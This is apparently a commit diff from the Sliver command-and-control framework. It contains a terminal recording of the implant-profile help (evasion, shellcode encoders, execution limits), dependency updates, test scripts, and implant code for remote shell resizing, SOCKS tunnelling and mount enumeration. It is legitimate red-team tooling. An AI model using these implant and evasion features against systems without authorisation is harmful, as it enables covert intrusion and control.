[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
@@ -623,7 +623,7 @@
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
[44.608789, "o", "\u001b[0 q\r\n"]
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.630687, "o", "\r\n"]
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
+28 -2
View File
@@ -98,6 +98,13 @@ else
exit 1
fi
# implant / sliver / transports / wireguard
if go test ./implant/sliver/transports/wireguard ; then
:
else
exit 1
fi
## Server
# server / assets / traffic encoders
@@ -146,8 +153,16 @@ else
exit 1
fi
# server / sgn
if go test -tags=server,$TAGS ./server/sgn ; then
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / arm64
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -178,6 +193,17 @@ else
exit 1
fi
# server / c2 / e2e (mtls + wg + yamux)
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
if go test -tags=server,$TAGS ./server/configs ; then
:
+9 -6
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.25.5
go 1.25.6
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
@@ -12,11 +12,11 @@ require (
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/SherClockHolmes/webpush-go v1.4.0
github.com/alecthomas/chroma v0.10.0
github.com/alecthomas/chroma/v2 v2.23.1
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
@@ -30,6 +30,7 @@ require (
github.com/google/uuid v1.6.0
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/hashicorp/yamux v0.1.2
github.com/jedib0t/go-pretty/v6 v6.7.8
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
github.com/klauspost/compress v1.18.1
@@ -46,6 +47,8 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/beignet v0.0.2
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
github.com/stretchr/testify v1.11.1
@@ -219,9 +222,9 @@ require (
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10 // indirect
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1 // indirect
github.com/charmbracelet/x/ansi v0.10.1
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
@@ -273,7 +276,7 @@ require (
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
github.com/muesli/cancelreader v0.2.2 // indirect
github.com/muesli/termenv v0.16.0 // indirect
@@ -300,7 +303,7 @@ require (
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/oauth2 v0.34.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/time v0.14.0 // indirect
golang.org/x/time v0.14.0
golang.org/x/tools v0.40.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
+14 -3
View File
@@ -43,8 +43,6 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
@@ -84,8 +82,14 @@ github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAU
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0=
github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs=
github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
@@ -397,7 +401,6 @@ github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAVrGgAa0f2/R35S4DJwfFaUPFQ=
@@ -420,8 +423,12 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
@@ -656,6 +663,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
+1
View File
@@ -7,6 +7,7 @@ require (
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/gofrs/uuid v4.0.0+incompatible
github.com/hashicorp/yamux v0.1.2
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
+2
View File
@@ -27,6 +27,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
@@ -0,0 +1,43 @@
package cryptography
import (
"encoding/binary"
"golang.org/x/crypto/blake2b"
"golang.org/x/crypto/ed25519"
)
// MinisignVerifyRaw - Verify a fixed-length raw minisign signature (binary) using
// the server's bundled minisign public key.
func MinisignVerifyRaw(message []byte, rawSig []byte) bool {
if len(rawSig) != RawSigSize {
return false
}
serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
if err != nil {
return false
}
algorithm := binary.LittleEndian.Uint16(rawSig[:2])
keyID := binary.LittleEndian.Uint64(rawSig[2:10])
if keyID != serverPublicKey.ID() {
return false
}
switch algorithm {
case EdDSA:
// Verify as-is.
case HashEdDSA:
digest := blake2b.Sum512(message)
message = digest[:]
default:
return false
}
signature := rawSig[10:]
if len(signature) != ed25519.SignatureSize {
return false
}
return ed25519.Verify(ed25519.PublicKey(serverPublicKey.PublicKey[:]), message, signature)
}
@@ -25,6 +25,7 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
@@ -56,6 +57,7 @@ var (
pb.MsgNetstatReq: netstatHandler,
pb.MsgSideloadReq: sideloadHandler,
pb.MsgMountReq: mountHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
@@ -154,6 +156,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &pb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &pb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
func getUid(fileInfo os.FileInfo) string {
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
uid_str := strconv.FormatUint(uint64(uid), 10)
+2 -1
View File
@@ -32,7 +32,8 @@ var (
tunnelHandlers = map[uint32]TunnelHandler{
// Interactive shell tunnels
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgShellResizeReq: tunnel_handlers.ShellResizeReqHandler,
// Network tunnels
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
@@ -51,7 +51,15 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
rows := shellReq.GetRows()
cols := shellReq.GetCols()
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY, uint16(rows), uint16(cols))
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
@@ -0,0 +1,18 @@
//go:build !darwin && !linux && !freebsd && !openbsd && !dragonfly
package tunnel_handlers
import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
resp, _ := proto.Marshal(&commonpb.Empty{})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: resp,
}
}
@@ -0,0 +1,63 @@
//go:build darwin || linux || freebsd || openbsd || dragonfly
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
type ptyResizer interface {
Resize(rows, cols uint32) error
}
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
req := &sliverpb.ShellResizeReq{}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
} else if tun := connection.Tunnel(req.TunnelID); tun != nil {
rows := req.GetRows()
cols := req.GetCols()
if rows != 0 && cols != 0 {
if resizer, ok := tun.Writer.(ptyResizer); ok {
err := resizer.Resize(rows, cols)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to resize PTY: %s", err)
// {{end}}
}
} else if f, ok := tun.Writer.(*os.File); ok {
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
err := pty.Setsize(f, &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to resize PTY: %s", err)
// {{end}}
}
}
}
}
resp, _ := proto.Marshal(&commonpb.Empty{})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: resp,
}
}
@@ -36,16 +36,29 @@ import (
"google.golang.org/protobuf/proto"
)
const (
inactivityCheckInterval = 4 * time.Second
inactivityTimeout = 15 * time.Second
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
tunnels *sync.Map // map[uint64]chan []byte
lastActivity *sync.Map // map[uint64]time.Time
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
tunnels: &sync.Map{},
lastActivity: &sync.Map{},
}
var socksServer *socks5.Server
// Initialize socks server
func init() {
socksServer = socks5.NewServer()
socksTunnels.startCleanupMonitor()
}
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
@@ -55,9 +68,26 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{end}}
return
}
time.Sleep(10 * time.Millisecond) // Necessary delay
// Check early to see if this is a close request from server
if socksData.CloseConn {
if tunnel, ok := socksTunnels.tunnels.LoadAndDelete(socksData.TunnelID); ok {
if ch, ok := tunnel.(chan []byte); ok {
close(ch)
}
}
socksTunnels.lastActivity.Delete(socksData.TunnelID)
return
}
if socksData.Data == nil {
return
}
// Record activity as soon as we get data for this tunnel
socksTunnels.recordActivity(socksData.TunnelID)
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
@@ -70,8 +100,6 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
@@ -80,7 +108,7 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
tunnelChan := make(chan []byte, 100) // Buffered channel for 100 messages
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
@@ -88,9 +116,12 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
// Cleanup on serve failure
socksTunnels.tunnels.Delete(socksData.TunnelID)
return
}
} else {
// Will block when channel is full
tunnel.(chan []byte) <- socksData.Data
}
}
@@ -105,16 +136,22 @@ type socks struct {
}
func (s *socks) Read(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
socksTunnels.recordActivity(s.stream.TunnelID)
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
socksTunnels.recordActivity(s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
@@ -136,12 +173,15 @@ func (s *socks) Write(b []byte) (n int, err error) {
}
func (s *socks) Close() error {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
// Signal to server that we need to close this tunnel
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
@@ -181,3 +221,38 @@ func (c *socks) SetReadDeadline(t time.Time) error {
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
func (s *socksTunnelPool) recordActivity(tunnelID uint64) {
s.lastActivity.Store(tunnelID, time.Now())
}
// Periodically check for inactive tunnels and clean up
func (s *socksTunnelPool) startCleanupMonitor() {
go func() {
ticker := time.NewTicker(inactivityCheckInterval)
defer ticker.Stop()
for range ticker.C {
s.tunnels.Range(func(key, value interface{}) bool {
tunnelID := key.(uint64)
lastActivityI, exists := s.lastActivity.Load(tunnelID)
if !exists {
// If no activity record exists, create one
s.recordActivity(tunnelID)
return true
}
lastActivity := lastActivityI.(time.Time)
if time.Since(lastActivity) > inactivityTimeout {
// Clean up the inactive tunnel
if ch, ok := value.(chan []byte); ok {
close(ch)
}
s.tunnels.Delete(tunnelID)
s.lastActivity.Delete(tunnelID)
}
return true
})
}
}()
}
+166
View File
@@ -0,0 +1,166 @@
//go:build darwin
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strings"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/unix"
)
func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func formatMountFlags(flags uint32) string {
opts := make([]string, 0, 12)
if flags&unix.MNT_RDONLY != 0 {
opts = append(opts, "ro")
} else {
opts = append(opts, "rw")
}
if flags&unix.MNT_NOSUID != 0 {
opts = append(opts, "nosuid")
}
if flags&unix.MNT_NODEV != 0 {
opts = append(opts, "nodev")
}
if flags&unix.MNT_NOEXEC != 0 {
opts = append(opts, "noexec")
}
if flags&unix.MNT_SYNCHRONOUS != 0 {
opts = append(opts, "sync")
}
if flags&unix.MNT_ASYNC != 0 {
opts = append(opts, "async")
}
if flags&unix.MNT_NOATIME != 0 {
opts = append(opts, "noatime")
}
if flags&unix.MNT_JOURNALED != 0 {
opts = append(opts, "journaled")
}
if flags&unix.MNT_QUOTA != 0 {
opts = append(opts, "quota")
}
if flags&unix.MNT_UNION != 0 {
opts = append(opts, "union")
}
if flags&unix.MNT_AUTOMOUNTED != 0 {
opts = append(opts, "automounted")
}
if flags&unix.MNT_REMOVABLE != 0 {
opts = append(opts, "removable")
}
if flags&unix.MNT_DONTBROWSE != 0 {
opts = append(opts, "nobrowse")
}
if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
opts = append(opts, "ignore-ownership")
}
if flags&unix.MNT_LOCAL != 0 {
opts = append(opts, "local")
}
if flags&unix.MNT_ROOTFS != 0 {
opts = append(opts, "rootfs")
}
if flags&unix.MNT_SNAPSHOT != 0 {
opts = append(opts, "snapshot")
}
if flags&unix.MNT_CPROTECT != 0 {
opts = append(opts, "cprotect")
}
if flags&unix.MNT_NOUSERXATTR != 0 {
